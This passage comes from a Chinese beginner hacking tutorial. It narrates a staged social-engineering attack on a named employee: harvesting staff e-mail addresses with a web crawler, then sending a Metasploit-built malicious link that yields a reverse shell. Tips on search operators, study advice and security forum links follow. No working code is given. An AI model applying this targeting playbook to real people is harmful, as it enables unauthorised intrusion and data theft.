入了黑客技术麾下。

• 事实上在这门学问被称为社会工程学之前，它还是一个零散的集合体，
集合了心理学，社会学已经很多有关“人”的学问。作为一个黑客所需
要认识的社会工程学理念其实很简单，说穿了只是一句话：最容易出
现漏洞的地方往往在于人本身。

• 一个再安全的计算机体系，如果它的主人被社会工程学命中，深陷其
中，最后也会毫无悬念地沦陷，而本章也将展示一种社会工程学的基
本利用。



模拟场合

• 你刚刚接收到了一个新的任务，
要求我从某公司的某位神秘人员
计算机中取得一份资料。

• 这是一个很具有挑战性的任务，
用普通的手段似乎难以完成，所
以你决定结合社会工程学手段来
对这次的任务发起挑战。

• 既然是挑战，在行动之前就必须
要做好足够的准备，而社会工程
学攻击的成功最重要就在于收集
足够大量的信息，右侧就是你已
经收集到的信息：

• 1.目标的名字：Jason
• 2.目标所在公司：XXX有限公司

• 对于一次社会工程学攻击而言，
这么少量的信息是远远不够的，
当已经提供到手的信息量太少时
攻击必然会失败，所以你此刻必
须想方设法地收集更多信息，从
来增大任务的成功率

• 下面就简单介绍一些社会工程学
收集信息的常见手段



从目标人物入手

• 我们的目标是来自XXX公司的Jason，当信息不足时我们第一个想到
的工具就应当是搜索引擎，强大的搜索引擎将会毫无保留地把自己所
收集到的信息

• 贡献给你，而

• 摸则可以利用

• 这些信息滚雪

• 球似的越滚越

• 大，最后掌握

• 大量信息。



从公司入手

• 经过对Jason本身的信息收集，你并没有找到很多敏感信息，于是此
时你想到从公司本身收集信息，于是你对公司的网站进行了一次信息
收集，令人惊喜的是，

• 在用webshag的爬虫爬
• 行公司的网站时，收货

• 了近百个公司员工的工

• 作e-mail地址，这些e-m
• ail将为我们后面的行动
• 提供大量方便。



实施攻击

• 进过对找到邮箱的整理你似
乎已经发现了Jason在公司所
使用的邮箱地址：
Jason11@XXX.com

• 通过邮箱入侵主机，这是你
最快想到的方案。

• 然后邮箱本身能造成的浏览
器溢出漏洞着实稀有，所以
你决定用msf进行一次攻击。

• 你伪造出了一个可溢出反弹
shell的恶意链接并将其发送
给Jason。

• 在接下来的几个小时里，你
只需要守在电脑前，随时等
待机会到来就行了。

• MSF（metasploit framework）
是一款非常优秀的黑客工具，
曾有人如此评论：利用msf，
似乎所有人在一夜之间都可
以成为黑客了

在此由于篇幅问题，且本节
的主题为社会工程学，通过
msf的浏览器exp构造恶意链
接就不多提了，感兴趣的读
者可以自行去了解，最新的
有关msf的全面教程为

 《Metasploit渗透测试魔鬼训
练营》



• 在这里我们可以看到，msf已经获得了Jason所使用的电脑的一个cmd 
shell，通过迁移进程等手段维持住这个cmd shell，你就将在很短的时
间内完成这个“极富挑战性”的任务了。



10.找资料的奇技淫巧



为什么单独列出这章

• 本书绝不是一个百科全书式
的教程，但是通过读完本书
你应当已经对黑客技术有了
一个大致了解，我们所能提
供的最大的帮助就是让读者
发现真正适合自己的方向，
一旦有了一个方向，不出意
外下面你的黑客之路就将充
满了精彩与刺激。不过这一
路上你必然需要不停的自己
寻找资料，丰满自己的技能，
强化自己的知识储备，那么
久花一分钟过一下本章吧，
想必也会对你有所帮助的



利用搜索引擎进行搜索

• 搜索引擎的语法在很多时候能给我们带来很大便利，正如下图所示，
利用filetype标签来指定搜索想要找的文件



除了filetype标签外，还可以利
用的语法有intitle,inurl等等，通
过搜索引擎

语法将可以

很便捷的寻

找到一些信

息



杀器:猎食网盘共享
• 通过一些奇妙的组合我们总是能找到最方便的找资料方式，就像这样：
• 用site限定了百度网盘的域名后，我们将可以直接搜索其中的分享资
料，其它网盘亦是如此



利用p2p网络

p2p网络其实是peer-to-peer的缩写，在这个网络里，
由tracker服务器和节点组成的网络里有大量资料，从
中可以获取很多平时难以获得的东西。

除此以外 百度文库等公司还会根据你曾今下载的文档推荐
可能适合你的文档等等，还有很多的小技巧，就靠大家自
己收集了，相信很短的时间里读者们都会找到自己独特而
高效的资料搜索技巧的。



11.后面的路你该怎么走



到这里为止，教程的主要部分就完全结束了，最后只是一些小小的建
议。完全没有基础的初学者看完这些内容后也许会有些迷茫，所以特
别用这段话来给出一些更贴心的提示。

如果你对渗透比较感兴趣，那么建议从web渗透入手学习，因为国内
web渗透的研究人群也比较大，可以有更多人交流，一段时间之后再
向更加深入的方面，如缓冲区溢出攻击等进发。

软件破解方向最好不要心急，可以先认真地把x86汇编好好学一遍，
学完一边后再接触破解会感到轻松不少。

至于社会工程学，希望读者不要对它要太大的执念，作为一个工具而
言社会工程学强大而有力，可是生活并不是社工，如果把社会工程狮
的习性带到生活中，也许会造成一些人际间的矛盾

此外，还有很多黑客领域在本入门教程中没有提到，如无线安全等。
感兴趣的朋友可以再多参考一些资料。 路 并不一定要宽 适合你的 才
是最好的。



12.附赠附录



国内一些知名的技术论坛总结

• http://www.xfocus.org/ 安全焦点
• http://www.pediy.com/ 看雪学院
• http://www.wooyun.org/ 乌云白帽子社区
• http://www.f4ck.org/ 法克论坛
• http://www.cnhonkerarmy.com/ 中国红客联盟
• http://www.cnseu.org/ 社会工程学联盟
• http://forum.cnsec.org/ 暗组论坛
• http://www.owasp.org.cn/ owasp中国社区
• http://www.52pojie.cn/  吾爱破解
• http://www.1937cn.com/ 1937公盟


